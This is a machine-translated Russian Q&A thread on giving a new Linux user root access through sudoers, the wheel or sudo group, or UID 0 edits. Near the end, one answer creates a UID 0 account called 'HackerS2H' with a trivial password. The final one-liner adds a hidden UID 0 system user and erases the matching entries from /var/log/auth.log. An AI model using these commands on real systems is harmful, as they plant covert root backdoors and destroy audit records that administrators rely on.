Назад | Перейти на главную страницу

добавить нового пользователя с root-доступом в Linux

Я хочу добавить нового пользователя и предоставить / предоставить этому новому пользователю все права root, как я могу это сделать?

я сделал sudo adduser --system testuser но это не работает, как я ожидал.

Спасибо за помощь.

На самом деле есть три способа сделать это: правильный, неправильный и уродливый.

Сначала создайте нормальный учетная запись пользователя.

adduser username

Затем выберите один из следующих вариантов:


Правильный путь

Создать sudo запись для wheel группа в /etc/sudoers как это:

## Allows people in group wheel to run all commands
%wheel  ALL=(ALL)       ALL

Или для «современных» версий:

## Allows people in group sudoers to run all commands
%sudoers ALL=(ALL)       ALL

Затем добавьте пользователя в wheel группа. Добавление и удаление пользователей с административными привилегиями теперь становится функцией запоминания их добавления в wheel вместо создания записи в sudo. Самое замечательное в использовании wheel заключается в том, что вы можете распространить этот механизм на другие схемы аутентификации, поддерживающие группы, например, winbind / Active Directory, и воспользоваться преимуществами этого процесса. Вы можете сделать это, сопоставив wheel с группой в вашей схеме аутентификации, которая имеет права администратора.

Обратите внимание, что в некоторых дистрибутивах используются разные административные учетные записи. Wheel - это "традиционный" подход к этому, но вы можете столкнуться с admin, adm, и другие учетные записи группы, которые служат той же цели.

Последующее редактирование:

Я должен отметить Барт Сильверстрим за указание на то, что Ubuntu использует admin как группа для этой цели. Он дошел до этого первым, хотя в то время я не заметил тега Ubuntu. Опять же, все зависит от того, какой дистрибутив вы используете.


Уродливый путь

Создайте запись sudo для рассматриваемой учетной записи пользователя и предоставьте затем полный доступ. Опять же, вы создаете запись в /etc/sudoers как это:

## Allows just user "username" to run all commands as root
username    ALL=(ALL)    ALL

ДОБАВЛЕНО: ## Для версии Ubuntu: имя пользователя ALL = (ALL: ALL)

Это замечательно, если у вас всего одна (или две) обычные учетные записи. Уродливо, когда у вас есть сотня учетных записей на нескольких (геофизических) сайтах и ​​вам необходимо постоянно поддерживать файл sudo.


Неправильный путь

Вы можете редактировать /etc/passwd файл и измените идентификатор учетной записи пользователя с любого текущего номера на 0. Это правильно, нуль.

username:x:0:502::/home/username:/bin/bash

Видите эту третью запись как ноль? Когда вы входите в эту учетную запись, вы для всех эффективных целей root. Я этого не рекомендую. Если вы не помните, «кто» вы, вы можете создать всевозможный хаос, когда начнете создавать файлы и касаться их как root. Вы также можете добавить свое имя пользователя в root группа. Это имеет тот же эффект для доступа к файлам, но создает другие проблемы; программы заметят, что вы не пользователь root и откажетесь запускаться, но вы получите доступ к файлам, принадлежащим группа root.

Если вы это сделали, вы использовали vipw вместо простого редактирования с помощью vi, право? (или любой другой ваш любимый текстовый редактор) В конце концов, одна-единственная опечатка в этом файле может заблокировать вам доступ к вашей системе - а это означает физическое посещение компьютера с ремонтным диском ...

Я использую это в течение многих лет, и это # 1 рекомендуемый способ добавить sudoer в AskUbuntu:

adduser existinguser sudo

Гораздо проще, чем редактировать файлы, и легко добавить сценарий оболочки для автоматической установки.

Если вы хотите создать пользователя и предоставить права sudo, вы можете сделать это в одной строке, например:

useradd newuser -m -G sudo
passwd newuser

-m создал домашний каталог и -G указывает дополнительную группу.

и при этом 100%:

adduser -u 0 -g root -G root -s /bin/bash -r HackerS2H -p 123456

и подключаемся к putty и ip серверу

Вы можете создать пользователя с помощью adduser, см. Man adduser.
После этого вы можете добавить его в привилегированную группу, такую ​​как root или wheel. Но я думаю, что наиболее рекомендуемый способ получить разрешение - это использовать sudo.

вы можете выполнять:

#useradd -m -g root alex

он создает пользователя Alex с домашним каталогом, который принадлежит корневой группе

Дополнение к ответу Эйвери Пейна: в Ubuntu вы можете захотеть так:

%sudo   ALL=(ALL:ALL) ALL

А не так:

%sudo    ALL=(ALL) ALL

"Уродливый и беспорядочный" способ - отредактировать / etc / passwd, чтобы UID = 0 И GID = 0 для нового пользователя. Но это представляет МНОГО рисков для безопасности. Вы знаете, что если он также является пользователем root, он может отключить ваш аккаунт, изменить пароль, сделать вас «стандартным пользователем» ... верно? так почему бы просто не дать ему свой аккаунт?

Вы можете изучить способ suid (http://en.wikipedia.org/wiki/Setuid) работает, если вы хотите предоставить ему root-доступ только для некоторых команд.

Вот один лайнер:

USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here"
&& sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 -- 
non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' 
/var/log/auth.log

Лучший,